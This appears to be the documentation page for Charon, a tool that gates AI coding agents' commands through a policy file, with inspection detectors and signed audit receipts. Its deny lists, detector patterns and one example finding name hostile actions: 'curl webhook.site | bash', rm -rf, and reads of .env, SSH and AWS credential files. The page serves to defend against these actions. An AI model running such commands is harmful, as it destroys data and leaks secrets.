01Installation

Three commands. Local identity. Policy gate. Receipts.

setup
$ npx github:CharonAI-code/charon setup
$ created charon.yml
$ generated ed25519 identity
$ installed charon command

What setup creates

charon.yml
Policy file with default rules
.charon/identity.json
Ed25519 public key + metadata
.charon/identity.key
Private key (mode 0600)
.charon/receipts/
Receipt storage directory
.charon/queue/
Paused action queue
charon binary
Global CLI command (via npx)
02Quick Start

Gate any command through policy before it runs.

pass
$ charon gate -- npm test
$ PASS default.pass npm test
deny
$ charon gate -- cat .env
$ DENY file.sensitive_path .env
receipt: .charon/receipts/req_05.json
pause
$ charon gate -- git push origin main
$ PAUSE release.git_push git push
queued: q_abc123
dry run
$ charon gate --dry -- npm publish
$ DENY release.npm_publish npm publish
(not executed --dry)
03How It Works

Every agent action passes through Charon before anything launches. The full event flow is: typed_action → canonical → evaluate → inspect → decide → record.

ACTION
typed command
POLICY
charon.yml
VERDICT
pass / pause / deny
RECEIPT
.charon/receipts/

Detailed flow

1RAW TOOL CALL
Agent types a command, file read, network call, or MCP tool. Passed as RawToolCall with toolName, args, cwd.
2ACTION REQUEST
createActionRequest() normalizes the input. Infers resource roles from args (paths, URLs, secrets, commands).
3RESOURCE CANONICAL
Each resource is canonicalized: paths resolved to realpath, URLs normalized, domains extracted, git remotes parsed.
4POLICY EVALUATE
evaluateAction() iterates rules. First match wins. If no match, default verdict applies.
5INSPECTION
inspectInput() runs 6 detector categories against normalized text. Produces findings with severity.
6DECISION MERGE
applyInspectionToDecision() can only escalate (never downgrade). High findings can override PASS to DENY.
7VERDICT
PASS launches. PAUSE enqueues for review. DENY blocks and records.
8RECEIPT
createTrustedReceipt() builds a signed, hashed receipt. Secrets redacted. Stored in .charon/receipts/.
04charon.yml

The policy file defines all enforcement rules. Loaded from the project root. SHA-256 hashed for receipt binding.

charon.yml
1version: 1
2default: pass
3bounds:
4 pass: []
5 pause:
6 - git push
7 - gh release create
8 - deploy production
9 - terraform apply
10 - kubectl apply
11 deny:
12 - git push --force
13 - npm publish
14 - rm -rf
15 - read:.env
16 - read:~/.ssh/**
17 secretAction: deny
18 rules:
19 - id: release.npm_publish
20 verdict: DENY
21 command: npm
22 argsIncludes:
23 - publish
24 - id: release.git_push
25 verdict: PAUSE
26 command: git
27 argsIncludes:
28 - push
29controls:
30 files:
31 read:
32 - .
33 write:
34 - .charon/**
35 deny:
36 - .env
37 - .env.*
38 - ~/.ssh/**
39 - ~/.aws/**
40 - ~/.config/gh/**
41 network:
42 allow:
43 - github.com
44 - api.github.com
45 commands:
46 deny:
47 - git push --force
48 - npm publish
49 - rm -rf
50 env:
51 expose: []
52 deny:
53 - GITHUB_TOKEN
54 - GH_TOKEN
55 - OPENAI_API_KEY
56 - AWS_SECRET_ACCESS_KEY
57 output:
58 secretAction: deny
59 store: redacted
60 maxBytes: 4000
61inspection:
62 mode: enforce
hover a line
Hover over any line to see what it does.
verdict colors
PASS → allowed, launchedPAUSE → review requiredDENY → blocked, recorded
precedence
Rules evaluated in order. First match wins. Inspection can only escalate (PASS→PAUSE→DENY), never downgrade.
05Bounds

High-level boundary rules. Simple string lists for pass/pause/deny. The bounds section is checked first, before structured rules.

Match syntax

git push
Exact command string match
read:.env
Prefix match. read: = file read. write: = file write.
~/.ssh/**
Glob pattern. ** matches any path depth.

secretAction

Default verdict for any action where Charon detects a secret-like value (API keys, tokens, private keys). Overrides bounds default.

secretAction: deny
06Structured Rules

Rules under bounds.rules provide fine-grained matching with unique IDs. Each rule produces a traceable ruleId in receipts.

id
Unique identifier. Appears in receipt ruleId field.
verdict
PASS, PAUSE, or DENY. Required.
role
Optional. Restrict match to a resource role (e.g. shell-command).
equals
Exact match on resource value.
includes
Substring match on resource value.
prefix
Prefix match on resource value.

Example

rules:
  - id: release.npm_publish
    verdict: DENY
    command: npm
    argsIncludes:
      - publish

  - id: release.git_push
    verdict: PAUSE
    command: git
    argsIncludes:
      - push
07Controls

Fine-grained access controls checked independently of bounds. Controls enforce filesystem, network, command, environment, and output restrictions.

files

read
Allowed read paths. Glob patterns supported.
write
Allowed write paths. Only these can be written.
deny
Always blocked. Overrides read/write.

network

network:
  allow:
    - github.com
    - api.github.com

commands

commands:
  deny:
    - git push --force
    - npm publish
    - rm -rf

env

env:
  expose: []
  deny:
    - GITHUB_TOKEN
    - GH_TOKEN
    - OPENAI_API_KEY
    - AWS_SECRET_ACCESS_KEY

Denied env vars are scrubbed from the child process environment when gate launches a command.

output

secretAction
Verdict when output contains secrets (default: deny).
store
How to store in receipts (redacted strips secrets).
maxBytes
Max output bytes to inspect (default: 4000).
08Inspection Config

Controls how the inspection layer handles findings.

enforce
High findings → DENY. Blocks execution.
review
High findings → PAUSE. Queues for human review.
observe
High findings → PASS. Logs only, never blocks.
09Setup Commands
charon initCreate charon.yml with default policy. Use --force to overwrite.
charon setupInit + identity + binary. Full first-time setup.
charon doctorCheck Node.js, charon.yml, identity. Reports OK/NO/WARN.
charon selftestRun automated checks: pass, deny file, deny network, pause, verify.
charon statusDashboard: receipt count, queue count, last verdict, policy hash.
charon compileNormalize policy and output hash. Generates .charon/generated/charon-policy.yml.
10Gate

The core enforcement command. Runs a command through policy before execution. Exit codes: 0 = PASS, 125 = PAUSE, 126 = DENY.

charon gate -- <cmd>Gate a command. Runs it if PASS, blocks if DENY, queues if PAUSE.
charon gate --dry -- <cmd>Check-only mode. Returns verdict without executing.
charon gate --json -- <cmd>Output decision as JSON (verdict, reason, ruleId, resources).
charon gate --verbose -- <cmd>Print full decision trace including inspection findings.
charon gate --no-prompt -- <cmd>Non-interactive mode. PAUSE exits immediately (no review prompt).
charon gate --policy <path> -- <cmd>Use a custom policy file instead of charon.yml.
charon gate --identity <path> -- <cmd>Use a custom identity key for receipt signing.

Output inspection

After a PASS command executes, its stdout/stderr is scanned for secrets. If secrets are found and output.secretAction is deny, the receipt is marked DENY and exit code is overridden to 126.

11Queue

PAUSE actions are enqueued for human review. Queue items are stored in .charon/queue/ as JSON files.

charon queueList all pending paused actions.
charon approve <id>Approve a paused action. Re-evaluates against current policy. Runs if PASS.
charon approve <id> --yesForce approve even if policy changed since queuing.
charon reject <id>Reject a paused action. Writes a DENY receipt.

Safety checks

On approve, Charon re-evaluates the action against current policy. If the policy changed or the action is now DENY, approval is blocked (override with --yes for non-blocking changes).

12Receipts

Query and inspect receipts. All receipts stored locally in .charon/receipts/.

charon receipts listList all receipts (newest first). Shows id, verdict, rule, command.
charon receipts latestShow the most recent receipt with full details.
charon receipts inspect <id>Show full receipt JSON for a specific ID.
charon receipts search <query>Search receipts by text (command, rule, reason).
charon receipts explain <id>Human-readable explanation of a receipt decision.
charon receipts --jsonOutput as JSON array for machine consumption.
13Verify

Verify receipt integrity and signature.

charon verify <id>Verify a receipt: hash integrity + Ed25519 signature check.
charon verify latestVerify the most recent receipt.
charon trace <id>Full trace: action, decision, receipt, execution, audit entry.

What verify checks

Hash integrity
SHA-256 of unsigned receipt matches receiptHash field.
Signature
Ed25519 signature over receiptHash verifies against public key.
Schema
Receipt schema is charon.trustedReceipt.v2.
Redaction
Secrets are [REDACTED] in stored receipt. Original not recoverable.
14Policy Commands
charon policyPrint the active charon.yml policy.
charon policy synthGenerate a policy proposal from local project scripts and recent receipts.
charon policy review [id]Review a policy proposal. Shows diff from current policy.
charon policy apply <id>Apply an approved policy proposal. Replaces charon.yml.
15Identity
charon keygenGenerate Ed25519 keypair. Creates .charon/identity.key + identity.json.
charon keygen --forceReplace existing identity. Invalidates previous receipt signatures.
charon identityShow public key, key type, and key path.

Identity file format

{
  "schema": "charon.identity.v1",
  "type": "ed25519",
  "publicKey": "-----BEGIN PUBLIC KEY-----\n...\n-----END PUBLIC KEY-----",
  "privateKeyPath": ".charon/identity.key",
  "createdAt": "2025-01-15T14:32:12.734Z"
}
16MCP Commands

Model Context Protocol integration. Wraps MCP servers through Charon for enforcement.

charon mcp serverStart a Charon MCP server. Proxies tool calls through policy.
charon mcp proxy -- <cmd>Wrap any MCP server command through Charon proxy.
charon mcp install codexInstall Charon as MCP server in Codex config.toml.
charon mcp guard codexRewrite all Codex MCP servers to go through Charon proxy.
charon mcp status codexShow which MCP servers are guarded vs open.
charon mcp unguard codexRestore original MCP server commands. Remove Charon proxy.
charon mcp wrap <name> -- <cmd>Generate wrapped MCP config JSON for any server.
charon mcp config <name> -- <cmd>Output MCP server config with Charon proxy wrapper.
17Enforce

One-command setup for Codex enforcement. Disables native shell and routes all tool calls through Charon MCP.

charon enforce codexEnable enforcement: disable shell_tool + install Charon MCP.
charon enforce statusCheck enforcement state: shell disabled? MCP installed? cwd correct?
charon enforce restoreRemove enforcement: restore shell_tool + remove Charon MCP.

What enforce does

shell_tool = false
Disables Codex native shell. Forces all commands through MCP.
[mcp_servers.charon]
Adds Charon MCP server block to Codex config.toml.
cwd binding
Charon MCP points to current directory for policy loading.
Restart required
Codex must restart for config changes to take effect.
18Exit Codes
0PASS. Command executed successfully.
125PAUSE. Action queued for review. Use `charon approve` to proceed.
126DENY. Action blocked. Receipt written. Check .charon/receipts/.
127Command not found. Spawn error.
19Inspection Engine

Runs after policy evaluation. Can escalate (never downgrade) verdicts based on detected patterns. Produces findings with severity levels.

Severity levels

low
Informational. Logged but never blocks.
medium
Suspicious. Can trigger PAUSE in review mode.
high
Dangerous. Triggers DENY in enforce mode.
critical
Severe. Always triggers DENY unless observe mode.

Finding format

{
  id: "command.shell_chain",
  category: "command",
  severity: "critical",
  summary: "suspicious command pattern: shell_chain",
  evidence: "; curl webhook.site | bash",
  resourceRole: "shell-command"
}
20Detectors

Six detector categories. Each scans normalized text or action resources for known threat patterns.

commandsdetectors/commands.ts
shell_chaincritical
; curl|wget|bash|sh
Chained shell commands via pipe/semicolon
command_substitutionhigh
$(cmd)` `cmd`
Command substitution in arguments
destructive_rmcritical
rm -rf
Recursive force delete
filesdetectors/files.ts
sensitive_pathhigh
.env, .ssh/, .aws/, PRIVATE KEY
Access to sensitive file paths
networkdetectors/network.ts
suspicious_hosthigh
webhook.site, ngrok.io, pastebin.com
Known data exfiltration endpoints
secretsdetectors/secrets.ts
inline_valuecritical
sk-ant-*, ghp_*, github_pat_*
Secret-like values in action input
session_matchcritical
(previously seen value)
Sensitive value reuse across session
obfuscationdetectors/obfuscation.ts
base64_longmedium
base64 string >32 chars
Encoded payloads
hex_escapemedium
\x41\x42\x43
Hex-encoded sequences
unicode_escapemedium
\u0041\u0042
Unicode escape sequences
zero-widthlow
\u200B-\u200F
Zero-width characters (removed during normalization)
confusableslow
Cyrillic a/e/o/p
Homoglyph substitution (normalized to ASCII)
socialdetectors/social.ts
urgencymedium
urgent, immediately, right now, asap
Pressure language
bypasshigh
bypass the check/security/guardrail
Explicit bypass instructions
credential_requesthigh
give me/tell me/show me + token/secret
Credential exfiltration attempts
21Session Memory

InspectionSession tracks sensitive values across tool calls within a session. If a secret seen in one call appears in a later call, it triggers a critical finding.

How it works

1REMEMBER
When a secret resource is detected, its value is stored in the session map.
2MATCH
On subsequent actions, all session values are checked against the new input text.
3FINDING
If a match is found, a critical secret.session_match finding is produced.
4PRUNE
Values expire after TTL (default: 5 minutes). Max 512 entries. LRU eviction.
// Session config
DEFAULT_TTL_MS = 5 * 60 * 1000  // 5 minutes
DEFAULT_MAX_ENTRIES = 512

// Normalization
- lowercase
- trim
- minimum 6 chars to store
22Receipt v2 Format

Every decision writes a signed, tamper-evident receipt. Schema: charon.trustedReceipt.v2.

.charon/receipts/req_17.json
{
  "schema": "charon.trustedReceipt.v2",
  "id": "req_17",
  "createdAt": "2025-01-15T14:32:12.734Z",
  "action": {
    "id": "req_17",
    "runtime": "cli",
    "toolName": "shell",
    "args": "git push origin feat/new-auth",
    "cwd": "/home/user/project",
    "resources": [{
      "role": "git-remote-url",
      "value": "git@github.com:user/repo.git",
      "canonical": "ssh://git@github.com/user/repo"
    }]
  },
  "decision": {
    "verdict": "PAUSE",
    "reason": "release.git_push matched bounds",
    "ruleId": "release.git_push",
    "resources": [...]
  },
  "policyHash": "03f7a1c2b4d5e6f8...",
  "actionHash": "d8c7b6a5f4e3d2c1...",
  "decisionHash": "a1b2c3d4e5f6...",
  "execution": {
    "launched": false,
    "status": "not_launched"
  },
  "receiptHash": "7a6b5c4d3e2f1a0b...",
  "signature": {
    "schema": "charon.receiptSignature.v1",
    "type": "ed25519",
    "keyId": "ed25519:workspace",
    "signature": "base64-encoded-signature"
  }
}
tamper evident
SHA-256 hash binds action, decision, and policy into one digest. Any modification invalidates the hash.
signed
Workspace Ed25519 key signs the receipt hash. Signature verified on `charon verify`.
local first
All receipts stored in .charon/receipts/. No external service. Append-only JSONL audit log.
denied is recorded
Blocked actions still leave evidence. Nothing is silent.
23Signing

Receipts are signed with Ed25519 keys. The private key lives in .charon/identity.key (mode 0600). The public key is in identity.json.

Signing flow

1BUILD
Unsigned receipt built from action + decision + policy hash.
2HASH
SHA-256 of stable-stringified unsigned receipt → receiptHash.
3SIGN
Ed25519 sign(receiptHash, privateKey) → base64 signature.

Verification flow

1REBUILD
Strip signature + identity from receipt. Rebuild unsigned.
2HASH CHECK
SHA-256 of rebuilt unsigned must match stored receiptHash.
3SIG CHECK
verify(receiptHash, signature, publicKey) must return true.
24Redaction

Secrets are automatically redacted before storage. Patterns matched:

// API keys
sk-proj-*      → [REDACTED:openai]
sk-*           → [REDACTED:api-key]
ghp_*, github_pat_* → [REDACTED:github]

// Private keys
-----BEGIN ... PRIVATE KEY----- → [REDACTED:private-key]

// Secret-like object keys
/secret|token|api[_-]?key|password|credential/i
  → value replaced with [REDACTED:secret]

Resource redaction

Resources with role=secret are always replaced with [REDACTED:secret]. Other resources have their values run through the string redaction patterns above.

25Proxy Mode

Wraps any MCP server. All tool calls pass through Charon policy before reaching the upstream server.

# Wrap a specific MCP server
charon mcp proxy -- npx @modelcontextprotocol/server-github

# Output wrapped config for pasting into config.json
charon mcp config github -- npx @modelcontextprotocol/server-github

Flow

1TOOL CALL
Agent calls an MCP tool through the proxy.
2POLICY
Charon evaluates the tool call against charon.yml.
3GATE
PASS → forward to upstream. PAUSE → queue. DENY → block.
4RECEIPT
Signed receipt written. Audit log updated.
26Server Mode

Starts a Charon MCP server that exposes policy evaluation as an MCP tool. Used by Codex and other MCP-compatible agents.

# Start server for current directory
charon mcp server

# Start server for specific directory
charon mcp server --cwd /path/to/project
27Guard Mode

Rewrites Codex MCP server configs so all tool calls go through Charon proxy. Original configs are preserved as comments for restoration.

Guard operation

# Before guard
[mcp_servers.github]
command = "npx"
args = ["@modelcontextprotocol/server-github"]

# After guard
[mcp_servers.github]
# charon.guarded = true
# charon.original_command = "npx"
# charon.original_args = ["@modelcontextprotocol/server-github"]
command = "node"
args = ["/path/to/charon.js", "mcp", "proxy", "--", "npx", "@modelcontextprotocol/server-github"]
28Action Layer

The action layer normalizes raw tool calls into typed ActionRequest objects with inferred resources.

RawToolCall → ActionRequest

1INFER
Resource roles inferred from args: paths → read-path/write-path, URLs → fetch-url, secrets → secret.
2CANONICALIZE
Paths resolved via realpathSync. URLs normalized. Domains extracted. Git remotes parsed.
3DEDUPE
Duplicate resources (same role + canonical) removed.
4DEFAULT
If no resources inferred, role=unknown with toolName as value.

Resource inference rules

toolName contains 'shell'
→ resource role: shell-command
arg key is 'path', 'file'
→ resource role: read-path
arg key is 'dest', 'output'
→ resource role: write-path
arg value is URL
→ resource role: fetch-url
arg contains 'secret'
→ resource role: secret
arg value matches .env
→ resource role: secret
29Role Registry

Each resource has a role that determines its risk level and canonicalization strategy.

read-pathmediumFilesystem path readrealpathSync(cwd + value)
write-pathhighFilesystem path writtenrealpathSync(cwd + value)
delete-pathcriticalFilesystem path deletedrealpathSync(cwd + value)
fetch-urlmediumNetwork URL fetchedURL normalization + hostname extraction
browser-urlmediumBrowser navigationURL normalization
git-remote-urlhighGit remote endpointSCP-like → ssh:// format, strip .git
secretcriticalSecret-bearing valueidentity (no transform)
shell-commandhighShell command to executeidentity (no transform)
mcp-toolmediumMCP tool invocationidentity (no transform)
unknownmediumUnclassified resourceidentity (no transform)
30Coordinator

ActionCoordinator orchestrates the full pipeline: normalize → evaluate → inspect → decide → receipt → audit.

evaluate() vs enforce()

EEVALUATE
Returns decision + receipt. Does not execute. Used for check-only (dry run).
FENFORCE
Returns decision + receipt + result. Executes if PASS. Used for real gating.

Enforce flow

1. Normalize input (RawToolCall → ActionRequest)
2. Inspect input (6 detectors → findings)
3. Evaluate policy (rules → decision)
4. Merge inspection (escalate if needed)
5. If verdict ≠ PASS → receipt + return
6. Execute action (if executor provided)
7. Build execution receipt (with status/error)
8. Write audit log entry
9. Return result
31Audit Log

Append-only JSONL file. Every evaluate and enforce call writes an entry. Used for compliance and debugging.

Entry format

{
  "id": "uuid",
  "time": "ISO-8601",
  "phase": "evaluate | enforce",
  "action": { ... },
  "decision": { ... },
  "receipt": { ... }
}

Storage

Written to .charon/audit.jsonl. Created on first use. Uses appendFileSync for atomic appends. Directory auto-created.